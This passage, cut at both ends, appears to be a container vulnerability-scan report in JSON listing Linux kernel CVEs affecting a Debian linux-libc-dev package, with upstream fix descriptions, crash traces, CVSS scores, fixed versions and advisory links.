ffffe87ff662ba00 R15: ffff8974e593b800\n[3966658.391533] FS: 0000000000000000(0000) GS:ffff88fe7f600000(0000) knlGS:0000000000000000\n[3966658.391534] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[3966658.391534] CR2: 0000000000d71000 CR3: 000000dd0e970004 CR4: 0000000002770ee0\n[3966658.391535] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[3966658.391535] DR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400\n[3966658.391536] PKRU: 55555554\n[3966658.391536] Call Trace:\n[3966658.391674] deallocate_sdma_queue+0x38/0xa0 [amdgpu]\n[3966658.391762] process_termination_cpsch+0x1ed/0x480 [amdgpu]\n[3966658.399754] intel_powerclamp\n[3966658.402831] kfd_process_dequeue_from_all_devices+0x5b/0xc0 [amdgpu]\n[3966658.402908] kfd_process_wq_release+0x1a/0x1a0 [amdgpu]\n[3966658.410516] coretemp\n[3966658.434016] process_one_work+0x1ad/0x380\n[3966658.434021] worker_thread+0x49/0x310\n[3966658.438963] kvm_intel\n[3966658.446041] ? process_one_work+0x380/0x380\n[3966658.446045] kthread+0x118/0x140\n[3966658.446047] ? __kthread_bind_mask+0x60/0x60\n[3966658.446050] ret_from_fork+0x1f/0x30\n[3966658.446053] Modules linked in: kpatch_20765354(OEK)\n[3966658.455310] kvm\n[3966658.464534] mptcp_diag xsk_diag raw_diag unix_diag af_packet_diag netlink_diag udp_diag act_pedit act_mirred act_vlan cls_flower kpatch_21951273(OEK) kpatch_18424469(OEK) kpatch_19749756(OEK)\n[3966658.473462] idxd_mdev\n[3966658.482306] kpatch_17971294(OEK) sch_ingress xt_conntrack amdgpu(OE) amdxcp(OE) amddrm_buddy(OE) amd_sched(OE) amdttm(OE) amdkcl(OE) intel_ifs iptable_mangle tcm_loop target_core_pscsi tcp_diag target_core_file inet_diag target_core_iblock target_core_user target_core_mod coldpgs kpatch_18383292(OEK) ip6table_nat ip6table_filter ip6_tables ip_set_hash_ipportip ip_set_hash_ipportnet ip_set_hash_ipport ip_set_bitmap_port xt_comment iptable_nat nf_nat iptable_filter ip_tables ip_set ip_vs_sh ip_vs_wrr ip_vs_rr ip_vs nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 sn_core_odd(OE) i40e overlay binfmt_misc tun bonding(OE) aisqos(OE) aisqo\n---truncated---", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-68174", "https://git.kernel.org/linus/45da20e00d5da842e17dfc633072b127504f0d0e%20%286.18-rc1%29", "https://git.kernel.org/stable/c/3385a1def2df45ac04a70532dfcd20d9eeac9fbb", "https://git.kernel.org/stable/c/45da20e00d5da842e17dfc633072b127504f0d0e", "https://git.kernel.org/stable/c/536d80f660ec12058e461f4db387ea42bee9250d", "https://lore.kernel.org/linux-cve-announce/2025121629-CVE-2025-68174-84da@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-68174", "https://ubuntu.com/security/notices/USN-8029-1", "https://ubuntu.com/security/notices/USN-8029-2", "https://ubuntu.com/security/notices/USN-8029-3", "https://ubuntu.com/security/notices/USN-8030-1", "https://ubuntu.com/security/notices/USN-8048-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-68174" ], "PublishedDate": "2025-12-16T14:15:49.323Z", "LastModifiedDate": "2026-10-21T13:18:20.557Z" }, { "VulnerabilityID": "CVE-2025-68735", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-68735", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1401c820d86188c643c1af6585c88f0748257fed6568f5c562d6fc7a1eb951dc", "Title": "kernel: Kernel: Privilege escalation via use-after-free in drm/panthor", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/panthor: Prevent potential UAF in group creation\n\nThis commit prevents the possibility of a use after free issue in the\nGROUP_CREATE ioctl function, which arose as pointer to the group is\naccessed in that ioctl function after storing it in the Xarray.\nA malicious userspace can second guess the handle of a group and try\nto call GROUP_DESTROY ioctl from another thread around the same time\nas GROUP_CREATE ioctl.\n\nTo prevent the use after free exploit, this commit uses a mark on an\nentry of group pool Xarray which is added just before returning from\nthe GROUP_CREATE ioctl function. The mark is checked for all ioctls\nthat specify the group handle and so userspace won't be abe to delete\na group that isn't marked yet.\n\nv2: Add R-bs and fixes tags", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-68735", "https://git.kernel.org/stable/c/c646ebff3fa571e7ea974235286fb9ed3edc260c", "https://git.kernel.org/stable/c/c6bbec068a9accd6f1df05f3df9a5254c99292ee", "https://git.kernel.org/stable/c/deb8b2491f6b9882ae02d7dc2651c7bf4f3b7e05", "https://git.kernel.org/stable/c/eec7e23d848d2194dd8791fcd0f4a54d4378eecd", "https://lore.kernel.org/linux-cve-announce/2025122410-CVE-2025-68735-dce5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-68735", "https://ubuntu.com/security/notices/USN-8094-1", "https://ubuntu.com/security/notices/USN-8094-2", "https://ubuntu.com/security/notices/USN-8094-3", "https://ubuntu.com/security/notices/USN-8094-4", "https://ubuntu.com/security/notices/USN-8094-5", "https://ubuntu.com/security/notices/USN-8152-1", "https://www.cve.org/CVERecord?id=CVE-2025-68735" ], "PublishedDate": "2025-12-24T13:16:28.44Z", "LastModifiedDate": "2026-10-21T13:18:24.103Z" }, { "VulnerabilityID": "CVE-2026-100072", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-100072", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ee3cfe137381d5d6b0139b44ab9a1899af05661ac352bcf1cc7b1b6dc169c844", "Title": "kernel: ACPI: platform: Use acpi_bus_get_primary_device()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPI: platform: Use acpi_bus_get_primary_device()\n\nThe acpi_get_first_physical_node() usage in acpi_platform_fill_resource()\nand acpi_create_platform_device() is generally unsafe because in theory\nthe device returned by it may be freed at any time [1].\n\nIt is also inefficient because acpi_get_first_physical_node() is called\nmultiple times for the same argument which can be avoided.\n\nAddress these issues by using acpi_bus_get_primary_device() instead of\nacpi_get_first_physical_node() and adjusting the code to call it just\nonce at the beginning of and acpi_create_platform_device() and drop\nthe device reference acquired by it upon the return from that function.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-100072", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-100072.mbox", "https://git.kernel.org/stable/c/527a497fb2ef77a95170eefe2007e2c4c957bd2c", "https://git.kernel.org/stable/c/a75e5de593ef158feb17989bff7730c5a3d82503", "https://git.kernel.org/stable/c/a9ba4dd2f18bf3f439d9ef0d8f375f90360ba1bd", "https://git.kernel.org/stable/c/c9d202d3b6c28e8c779cd2f2b10d2f7ab665ca71", "https://nvd.nist.gov/vuln/detail/CVE-2026-100072", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-100072" ], "PublishedDate": "2026-09-25T14:17:13.7Z", "LastModifiedDate": "2026-10-21T18:49:49.167Z" }, { "VulnerabilityID": "CVE-2026-23102", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23102", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0075c3687df0cfcf568ff1b9d3e73a88cbcbb0aab838af230d786bc0900f05ad", "Title": "kernel: Linux kernel: Denial of Service due to incorrect SVE context restoration", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64/fpsimd: signal: Fix restoration of SVE context\n\nWhen SME is supported, Restoring SVE signal context can go wrong in a\nfew ways, including placing the task into an invalid state where the\nkernel may read from out-of-bounds memory (and may potentially take a\nfatal fault) and/or may kill the task with a SIGKILL.\n\n(1) Restoring a context with SVE_SIG_FLAG_SM set can place the task into\n an invalid state where SVCR.SM is set (and sve_state is non-NULL)\n but TIF_SME is clear, consequently resuting in out-of-bounds memory\n reads and/or killing the task with SIGKILL.\n\n This can only occur in unusual (but legitimate) cases where the SVE\n signal context has either been modified by userspace or was saved in\n the context of another task (e.g. as with CRIU), as otherwise the\n presence of an SVE signal context with SVE_SIG_FLAG_SM implies that\n TIF_SME is already set.\n\n While in this state, task_fpsimd_load() will NOT configure SMCR_ELx\n (leaving some arbitrary value configured in hardware) before\n restoring SVCR and attempting to restore the streaming mode SVE\n registers from memory via sve_load_state(). As the value of\n SMCR_ELx.LEN may be larger than the task's streaming SVE vector\n length, this may read memory outside of the task's allocated\n sve_state, reading unrelated data and/or triggering a fault.\n\n While this can result in secrets being loaded into streaming SVE\n registers, these values are never exposed. As TIF_SME is clear,\n fpsimd_bind_task_to_cpu() will configure CPACR_ELx.SMEN to trap EL0\n accesses to streaming mode SVE registers, so these cannot be\n accessed directly at EL0. As fpsimd_save_user_state() verifies the\n live vector length before saving (S)SVE state to memory, no secret\n values can be saved back to memory (and hence cannot be observed via\n ptrace, signals, etc).\n\n When the live vector length doesn't match the expected vector length\n for the task, fpsimd_save_user_state() will send a fatal SIGKILL\n signal to the task. Hence the task may be killed after executing\n userspace for some period of time.\n\n(2) Restoring a context with SVE_SIG_FLAG_SM clear does not clear the\n task's SVCR.SM. If SVCR.SM was set prior to restoring the context,\n then the task will be left in streaming mode unexpectedly, and some\n register state will be combined inconsistently, though the task will\n be left in legitimate state from the kernel's PoV.\n\n This can only occur in unusual (but legitimate) cases where ptrace\n has been used to set SVCR.SM after entry to the sigreturn syscall,\n as syscall entry clears SVCR.SM.\n\n In these cases, the the provided SVE register data will be loaded\n into the task's sve_state using the non-streaming SVE vector length\n and the FPSIMD registers will be merged into this using the\n streaming SVE vector length.\n\nFix (1) by setting TIF_SME when setting SVCR.SM. This also requires\nensuring that the task's sme_state has been allocated, but as this could\ncontain live ZA state, it should not be zeroed. Fix (2) by clearing\nSVCR.SM when restoring a SVE signal context with SVE_SIG_FLAG_SM clear.\n\nFor consistency, I've pulled the manipulation of SVCR, TIF_SVE, TIF_SME,\nand fp_type earlier, immediately after the allocation of\nsve_state/sme_state, before the restore of the actual register state.\nThis makes it easier to ensure that these are always modified\nconsistently, even if a fault is taken while reading the register data\nfrom the signal context. I do not expect any software to depend on the\nexact state restored when a fault is taken while reading the context.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 3, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23102", "https://access.redhat.com/security/cve/CVE-2026-23102", "https://git.kernel.org/linus/d2907cbe9ea0a54cbe078076f9d089240ee1e2d9%20%286.19-rc7%29", "https://git.kernel.org/stable/c/7b5a52cf252a0d2e89787b645290ad288878f332", "https://git.kernel.org/stable/c/9bc3adba8c35119be80ab20217027720446742f2", "https://git.kernel.org/stable/c/ce820dd4e6e2d711242dc4331713b9bb4fe06d09", "https://git.kernel.org/stable/c/d2907cbe9ea0a54cbe078076f9d089240ee1e2d9", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.4.2/BRSA-gihwsmze5rgw.toml", "https://lore.kernel.org/linux-cve-announce/2026020429-CVE-2026-23102-bafe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23102", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8296-1", "https://ubuntu.com/security/notices/USN-8296-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8570-1", "https://ubuntu.com/security/notices/USN-8570-2", "https://ubuntu.com/security/notices/USN-8594-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://www.cve.org/CVERecord?id=CVE-2026-23102" ], "PublishedDate": "2026-02-04T17:16:21.077Z", "LastModifiedDate": "2026-11-05T22:18:01.957Z" }, { "VulnerabilityID": "CVE-2026-23208", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23208", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8ec80e5a302c92c4c781ace425a6881f5f164777d9334868532be2f825a5bfe4", "Title": "kernel: ALSA: usb-audio: Prevent excessive number of frames", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: usb-audio: Prevent excessive number of frames\n\nIn this case, the user constructed the parameters with maxpacksize 40\nfor rate 22050 / pps 1000, and packsize[0] 22 packsize[1] 23. The buffer\nsize for each data URB is maxpacksize * packets, which in this example\nis 40 * 6 = 240; When the user performs a write operation to send audio\ndata into the ALSA PCM playback stream, the calculated number of frames\nis packsize[0] * packets = 264, which exceeds the allocated URB buffer\nsize, triggering the out-of-bounds (OOB) issue reported by syzbot [1].\n\nAdded a check for the number of single data URB frames when calculating\nthe number of frames to prevent [1].\n\n[1]\nBUG: KASAN: slab-out-of-bounds in copy_to_urb+0x261/0x460 sound/usb/pcm.c:1487\nWrite of size 264 at addr ffff88804337e800 by task syz.0.17/5506\nCall Trace:\n copy_to_urb+0x261/0x460 sound/usb/pcm.c:1487\n prepare_playback_urb+0x953/0x13d0 sound/usb/pcm.c:1611\n prepare_outbound_urb+0x377/0xc50 sound/usb/endpoint.c:333", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23208", "https://git.kernel.org/linus/ef5749ef8b307bf8717945701b1b79d036af0a15%20%286.19-rc6%29", "https://git.kernel.org/stable/c/152fc4f7b4a8af1c0418d2722f3b2729799cc837", "https://git.kernel.org/stable/c/282aba56713bbc58155716b55ca7222b2d9cf3c8", "https://git.kernel.org/stable/c/480a1490c595a242f27493a4544b3efb21b29f6a", "https://git.kernel.org/stable/c/581821f4b2ecbf411027b0af82b561ee208f4ba4", "https://git.kernel.org/stable/c/62932d9ed639a9fa71b4ac1a56766a4b43abb7e4", "https://git.kernel.org/stable/c/81e4b0009f2acc841d77a24fd796528b0bf62c4e", "https://git.kernel.org/stable/c/ab0b5e92fc36ee82c1bd01fe896d0f775ed5de41", "https://git.kernel.org/stable/c/c4dc012b027c9eb101583011089dea14d744e314", "https://git.kernel.org/stable/c/d67dde02049e632ba58d3c44a164a74b6a737154", "https://git.kernel.org/stable/c/e0ed5a36fb3ab9e7b9ee45cd17f09f6d5f594360", "https://git.kernel.org/stable/c/ef5749ef8b307bf8717945701b1b79d036af0a15", "https://lore.kernel.org/linux-cve-announce/2026021439-CVE-2026-23208-cc9e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23208", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-23208" ], "PublishedDate": "2026-02-14T17:15:58.703Z", "LastModifiedDate": "2026-11-05T22:18:07.25Z" }, { "VulnerabilityID": "CVE-2026-23327", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23327", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:78ffb3dd0da00f709fe2f8bf23dc7470f814e30b5d9535351398592a02dab2fa", "Title": "kernel: cxl/mbox: validate payload size before accessing contents in cxl_payload_from_user_allowed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/mbox: validate payload size before accessing contents in cxl_payload_from_user_allowed()\n\ncxl_payload_from_user_allowed() casts and dereferences the input\npayload without first verifying its size. When a raw mailbox command\nis sent with an undersized payload (ie: 1 byte for CXL_MBOX_OP_CLEAR_LOG,\nwhich expects a 16-byte UUID), uuid_equal() reads past the allocated buffer,\ntriggering a KASAN splat:\n\nBUG: KASAN: slab-out-of-bounds in memcmp+0x176/0x1d0 lib/string.c:683\nRead of size 8 at addr ffff88810130f5c0 by task syz.1.62/2258\n\nCPU: 2 UID: 0 PID: 2258 Comm: syz.1.62 Not tainted 6.19.0-dirty #3 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0xab/0xe0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xce/0x650 mm/kasan/report.c:482\n kasan_report+0xce/0x100 mm/kasan/report.c:595\n memcmp+0x176/0x1d0 lib/string.c:683\n uuid_equal include/linux/uuid.h:73 [inline]\n cxl_payload_from_user_allowed drivers/cxl/core/mbox.c:345 [inline]\n cxl_mbox_cmd_ctor drivers/cxl/core/mbox.c:368 [inline]\n cxl_validate_cmd_from_user drivers/cxl/core/mbox.c:522 [inline]\n cxl_send_cmd+0x9c0/0xb50 drivers/cxl/core/mbox.c:643\n __cxl_memdev_ioctl drivers/cxl/core/memdev.c:698 [inline]\n cxl_memdev_ioctl+0x14f/0x190 drivers/cxl/core/memdev.c:713\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xa8/0x330 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fdaf331ba79\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fdaf1d77038 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 00007fdaf3585fa0 RCX: 00007fdaf331ba79\nRDX: 00002000000001c0 RSI: 00000000c030ce02 RDI: 0000000000000003\nRBP: 00007fdaf33749df R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007fdaf3586038 R14: 00007fdaf3585fa0 R15: 00007ffced2af768\n \u003c/TASK\u003e\n\nAdd 'in_size' parameter to cxl_payload_from_user_allowed() and validate\nthe payload is large enough.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23327", "https://git.kernel.org/linus/60b5d1f68338aff2c5af0113f04aefa7169c50c2%20%287.0-rc2%29", "https://git.kernel.org/stable/c/3555e41737c0f8b5b53a511573661477e3942dee", "https://git.kernel.org/stable/c/483b7eb4b1b2a03235afe1b274732dcf8231d4ec", "https://git.kernel.org/stable/c/60b5d1f68338aff2c5af0113f04aefa7169c50c2", "https://git.kernel.org/stable/c/7c8a7b7f063b7e7ae9bba4cbaa14a5d2fe3a55e1", "https://git.kernel.org/stable/c/c0874ca9282ccf5aeae559c697dd1feb577aad0e", "https://git.kernel.org/stable/c/dc184ac2f0ba77ae19725ee06ad3ab36bb9d1f61", "https://lore.kernel.org/linux-cve-announce/2026032532-CVE-2026-23327-c497@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23327", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-23327" ], "PublishedDate": "2026-03-25T11:16:29.837Z", "LastModifiedDate": "2026-11-05T22:18:15.06Z" }, { "VulnerabilityID": "CVE-2026-31493", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31493", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:55ff5b58f627de65853d9ac3d80de77483d1062b68faf8c3bbf72772c71adab9", "Title": "kernel: RDMA/efa: Fix use of completion ctx after free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/efa: Fix use of completion ctx after free\n\nOn admin queue completion handling, if the admin command completed with\nerror we print data from the completion context. The issue is that we\nalready freed the completion context in polling/interrupts handler which\nmeans we print data from context in an unknown state (it might be\nalready used again).\nChange the admin submission flow so alloc/dealloc of the context will be\nsymmetric and dealloc will be called after any potential use of the\ncontext.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:H", "V3Score": 5.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31493", "https://git.kernel.org/linus/ef3b06742c8a201d0e83edc9a33a89a4fe3009f8%20%287.0-rc6%29", "https://git.kernel.org/stable/c/0dd98aea1c0c45987fa2dd92f988b0eb1a72c125", "https://git.kernel.org/stable/c/1cf95fe5dc5471efea947b4c6f8913da6bc7976e", "https://git.kernel.org/stable/c/7ba09d85f177e9f5f64b881f33dbcb57b2cf23d5", "https://git.kernel.org/stable/c/8c24b5179af260a5f36571c992d29aab1f448544", "https://git.kernel.org/stable/c/ef3b06742c8a201d0e83edc9a33a89a4fe3009f8", "https://lore.kernel.org/linux-cve-announce/2026042202-CVE-2026-31493-4d67@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31493", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-31493" ], "PublishedDate": "2026-04-22T14:16:47.17Z", "LastModifiedDate": "2026-11-05T22:18:34.817Z" }, { "VulnerabilityID": "CVE-2026-31568", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31568", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a49c31f5dc55aab6686fbd309365fec3eda454c23d1963675f92a3f70adc18b0", "Title": "kernel: s390/mm: Add missing secure storage access fixups for donated memory", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ns390/mm: Add missing secure storage access fixups for donated memory\n\nThere are special cases where secure storage access exceptions happen\nin a kernel context for pages that don't have the PG_arch_1 bit\nset. That bit is set for non-exported guest secure storage (memory)\nbut is absent on storage donated to the Ultravisor since the kernel\nisn't allowed to export donated pages.\n\nPrior to this patch we would try to export the page by calling\narch_make_folio_accessible() which would instantly return since the\narch bit is absent signifying that the page was already exported and\nno further action is necessary. This leads to secure storage access\nexception loops which can never be resolved.\n\nWith this patch we unconditionally try to export and if that fails we\nfixup.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31568", "https://git.kernel.org/linus/b00be77302d7ec4ad0367bb236494fce7172b730%20%287.0-rc6%29", "https://git.kernel.org/stable/c/1eb35c54cd81cf874ce7d69e3dbfb162f211b8bd", "https://git.kernel.org/stable/c/43ac2d18db1131df0a89993f709131ebfc29f3bd", "https://git.kernel.org/stable/c/48eda93e50f8361dee8e261fe55d0b31714e1e56", "https://git.kernel.org/stable/c/b00be77302d7ec4ad0367bb236494fce7172b730", 